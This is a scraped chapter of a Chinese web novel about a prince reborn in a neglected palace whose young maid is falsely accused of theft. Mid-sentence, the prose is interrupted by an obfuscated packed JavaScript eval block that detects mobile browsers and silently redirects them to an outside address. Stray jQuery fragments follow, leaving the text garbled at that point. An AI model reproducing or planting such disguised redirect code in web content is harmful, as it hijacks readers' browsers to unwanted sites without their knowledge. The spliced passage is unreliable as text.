默认冷灰
24号文字
方正启体

3. 开局冷宫中

作者:青朱本书字数:K更新时间:
    只告诉他有人会死,但没告诉他人何时何地,究竟为何而死。


    ——就算知道某些人的死因,那也太过笼统。


    所以这复活转生,是不是有点潦草?


    杜瑜望着头顶破旧的帐子蹙眉,一时间不能确定送他转生的无名力量,到底是忘了告诉他具体因果,还是没打算告诉他,要让他自行摸索。


    如果是后者……


    他由衷感到冥冥之中,送他重生者的恶趣味。


    但换个思路想,这或许就是他能够重生救世的条件,或者需要通过的考验。


    就像是他转生的身份,只是一个冷宫皇子一样。


    杜瑜醒来时,就躺在一张冰凉床板上,身下只垫着一张席子。


    被褥倒是也有,但不仅薄的像是一张纸,里面的棉絮还一缕缕的结着硬块,很难分辨盖上后到底是舒服还是折磨。


    飘荡的白帐也如蛛网一样洞眼稀疏,轻薄易裂。


    他环顾四周,只见一片破败。


    就连灯烛也晦暗不明。


    他还以为自己是重生到什么小乞丐身上,睡在会闹鬼的破败寺庙里。


    乃至于侍女伴着夜风推门进来时,有那么一瞬间,他真心把对方当成了妖鬼幻化之物。


    而当他问出“你是谁,我是谁,这是哪……”问题后,显然也把这名尚且年少的侍女吓得不轻。


    以为这场高烧不退,乃至昏迷的风寒,将他原本就不怎么灵光的脑子彻底烧傻掉。


    和侍女前言不搭后语的绕了一大圈子后,他才完全搞清楚自己现在身处何时,又是什么身份。


    他竟然转世为独孤猗的第七子,名曰独孤无瑕。


    这其实一个好消息。


    转生一个皇子,总比重生为一个寄居破庙的乞儿强,不然他还要先考虑怎么进京找人。


    但坏消息是,他是一个活在冷宫(槛花宫)里的痴呆皇子。


    几年前,他的生母芷嫔因牵涉一桩祸事,被打入冷宫,又因他生来痴傻,无人愿意接管,也跟着搬入冷宫。


    数日前,太后病重,移驾空莲寺修心静养,芷嫔自请前去侍奉在侧,念佛抄经,为太后祈福积德。


    得到允许之后,已经离开冷宫,随尊驾去了空莲寺。


    却有意无意,把七皇子留在冷宫内,并没一并带走。


    或许大概,是有那么一点“无论如何,身为皇子,待在宫里总是好的”的意思。


    但前提是,得有人知道这个皇子的存在,得有人想捞他出去,才能有一线生机。


    很不幸,这是一种妄想。


    芷嫔原不过是侍女一名,并没有什么能够叫人重视的背景。


    所生七皇子也是生来痴呆,虽说不用担心会遭人惦记谋害,但同样的,也不会有人想要重视培育他。


    至于圣上,更不可能记住一个从小就在冷宫里长大的痴呆皇子。


    这样一来,导致的结果就是:


    如果不是还有一个宫女和一个太监留在冷宫里侍奉,想方设法去找吃的喝的,求爷爷告奶奶弄来药品,独孤无瑕早已经饿死,或者因一场来势汹汹的风寒病死。


    那倒也不是因为这宫女和太监有多忠义——


    准确的说,固然也有可怜皇子的因由在,但驱使二人任劳任怨做这些事的更大原因,是他们年纪还小,入宫还没多长时间——


    宫女辛夷,年十五岁,太监进宝,才十三岁。


    和独孤无瑕现如今的躯壳一样,不过是两个半大孩子,既不懂得偷奸耍滑,也想不到投机取巧。


    被派来冷宫侍奉,就老实的呆在这里,压根没想起来主动逃离冷宫这回事儿。


    看着两个小朋友可怜兮兮,且呆呆的样子,叫独孤无瑕忍不住回想起照顾独孤无恙的往事。


    实在是没想到重生一遭,竟然还要继续照顾小孩子——虽然看起来更像是他被这两个小孩子照顾。


    不过,现如今已是十月中旬,如果再不出冷宫,那他们三个也不必谈到底谁照顾谁,将会齐齐被冻死在这里。


    ——饭菜可以吃别人剩下的,药物也能求碎渣残片,取暖的炭火却是绝不可能有多余的,至少在他们所能接触的范围内,大家都在挨冻,只是程度不同。


    所以当务之急——


    无论是为了他重生之目的,还是为了不被冻死在这里,都要先考虑如何尽快走出冷宫大门。


    而此时此刻,冷宫的庭院内正上演一场激烈争吵。


    这是独孤无瑕恢复神智的第三天——


    或者说是第二个白天。


    半炷香前,瑶光殿来了两名宫人,指明要见辛夷。


    摇光殿的大宫女秋月是辛夷的同乡,二人认亲后,秋月可怜辛夷被坑来冷宫做事,但也无法干涉太多,只能力所能及的接济这位可怜同乡,和同样可怜的皇子。


    昨天,独孤无瑕实在受不了杯子里碎成渣的茶叶,随口说了一句难以下咽——


    他的本意是在没出冷宫前,只喝清水就行了,不用非要走这个形式泡茶。


    但似乎被辛夷理解为嫌弃茶叶太烂,然后,辛夷便去找秋月讨要了一些茶叶。


    虽然同样算不上是什么好茶叶,好歹成缕成片。


    被独孤无瑕发现茶叶换过之后,辛夷就解释了一番来龙去脉,并且说秋月还会时不时主动送东西来。


    或许今天这两名宫人前来,也是因为秋月有什么东西要接济同乡。


    独孤无瑕没把这件事放在心上,仍然躺在床上思索他要怎么离开冷宫。


    直到辛夷的哭泣声从门外传来:


    “……奴婢好歹是皇子殿下的近侍,怎会做这种见不得光的事……”


    另外一道尖细的声音便更高的响起:


    “什么皇子,不过是个连亲娘都嫌弃的短寿索命鬼,是了,你不提,差点忘了,想来必是这宫里又缺了什么东西,你这讨嫌的贱蹄子才打歪主意,来偷咱们春花姑姑的金镯子……”


    独孤无瑕挑了挑眉,很惊奇独孤猗做了皇帝,后宫竟然如此自由。


    不仅允许这些宫人之间大呼小叫,肆意辱骂,还容忍其如此趾高气昂的,在光天化日之下贬损皇子。


    虽然他这个皇子也确实是没什么可叫人看得起的地方,但也不至于卑微到如此地步吧。


    他为之感叹时,殿外吵闹越发激烈:


    “你,你——这是故意冤枉我!”


    “谁冤枉你,总来咱们摇光殿乞讨的可不就是你,看来是不见棺材不掉泪,既然如此,那便直接送你去笼鹤院,先打你三十板子,看你还嘴硬不嘴硬!”


    “不,我不去,我没偷东西,殿下,殿下救命——!”


    笼鹤院啊。


    如名所


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16716532|189345||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    言,原本是前朝某任皇帝养鹤之地,后来鹤不养了,倒是留下那些鹤笼鹤房,用来关押 囚禁犯错宫人。


    久而久之,便演变为专职料理宫人刑罚的地方。


    独孤无瑕手指轮着在床板上点了一遍,默念了两遍这个名字,很快想到了一个不错的主意。


    随后,他便起身下床,一步步走向虚掩的殿门。


    ……


    萧索庭院内,辛夷看着眼前这几个来找茬的宫人,被气的头脑发晕,泪水直在眼眶内打转。


    她不过是昨日去瑶光殿转了一圈,找秋月姐姐讨要一些茶叶。


    谁料想就这么被找上门来,说摇光殿中春花姑姑的镯子丢了,恰是她在宫内逗留时不见,必然是她偷走的。


    这怎有可能,她都没怎么见过这位春花姑姑。


    每每去瑶光殿,她几乎都是站在门口不见光的地方等着秋月来,连这位春花姑姑带的镯子是什么样都不晓得,又从何谈起偷窃之事呢。


    然她不过是入宫没多久的丫头,又不擅口舌,被这样强词夺理的污蔑清白,百般委屈交加,纵然恨得身躯发抖,除却大喊冤枉外,却怎么也说不出什么辩解的言语来。


    这两个宫人眼看不能迫她认罪,对视一眼,便上前来拉住她的袖子,打算强行将她带走。


    辛夷听见笼鹤院三个字,更是眼前一黑,觉得天都要塌了。


    她再怎样不明所以,也知晓笼鹤院的可怕——


    入宫时管教姑姑再三强调,在宫内绝不可惹是生非,若被抓去笼鹤院,不掉层皮不要想着出来。


    甚至就是因为太不了解,所以更把笼鹤院想象成阴曹地府一般有去无回的地方。


    进宝虽然也在旁边,却比她还要年幼胆怯,被这气势汹汹的二人吓得直哆嗦,全程躲在后面连话也不敢说。


    这会儿倒是也知晓拉着辛夷的手臂,不让人带她离开。


    可他一个小孩子的力气,又是饥一顿饱一顿的瘦弱躯壳,非但没能留下辛夷,反倒是被拖着一块拉走。


    眼看着被拉着走向门口,辛夷脚抵着石阶,已没挣扎的气力。


    在此绝望之际,身后忽然传来一阵吱吱呀呀的门响。


    一道有气无力的声音随之传来:


    “吵什么呢。”


    庭院内几人停下拉扯,纷纷朝声音源头处看去,便见虚掩屋门被缓缓推开。


    伴随着隐忍的咳嗽声,从屋内走出来一个身穿白色寝衣的少年。


    说是少年,却更像是童子。


    小小的一只,身形消瘦,发丝零散,脸色苍白,脚步也虚乏,走路像是魂飘一样。


    轻飘飘的走到廊下不过几步路,就已经气息不稳,身躯摇晃。


    不得不伸手扶着廊柱,掀起眼皮看向庭院内争吵的几人。


    眼睛里满是被吵到的烦躁。


    那两名宫人自然是认得这少年是七皇子独孤无瑕,但也没怎么在意。


    一个连亲娘都不要的皇子,又有什么可在意的地方呢。


    更何况这位七皇子年幼体弱,神志不清,哪里是个能主事儿的人,找他救命简直可笑。


    果然,在听那两名宫人一番强词夺理的解释后,七皇子站在原地茫然思索了一会儿,就被完全绕了进去,相信他们的说辞,轻轻点头说:


    “既然如此,那就去笼鹤院吧。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)